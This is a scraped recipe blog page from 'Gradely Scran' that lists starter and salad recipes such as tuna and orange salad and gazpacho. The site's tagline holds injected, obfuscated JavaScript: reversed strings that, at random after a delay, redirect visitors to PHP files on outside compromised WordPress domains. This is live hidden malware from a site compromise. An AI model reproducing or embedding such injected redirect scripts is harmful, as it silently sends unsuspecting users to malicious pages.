Gradely Scran

Because life's <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>too short <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to stuff a mushroom.

Gradely Scran

Tag

starter

Starters

Orange and Tuna Salad

I know, it sounds weird but it actually works, and it's a super easy starter.

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Salads

Tomato and mozzarella salad

Salads

Tomato and mozzarella salad

This recipe is so simple, and so ubiquitous where I live, that I almost didn’t bother including it. But it’s such an all-round winner that I changed my mind.

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Salads

Spinach, bacon and olive salad

I’ve made a vegetarian version of this, using toasted pine kernels in place of the bacon. It’s good, but this is better. For a warm version, heat the dressing gently in a small non-stick [...]

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Starters

Marinated aubergine

This recipe was inspired by a dish that used to be served at La Vela, an Italian restaurant overlooking the marina in Lutry, a small wine-growing village on the northern shores of Lake Geneva in [...]

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Soups

Gazpacho andaluz

This is a work in progress. It’s how I made gazpacho the first and only time I tried, after an inspiring trip to Seville. I was working off a combination of two recipes, using different [...]

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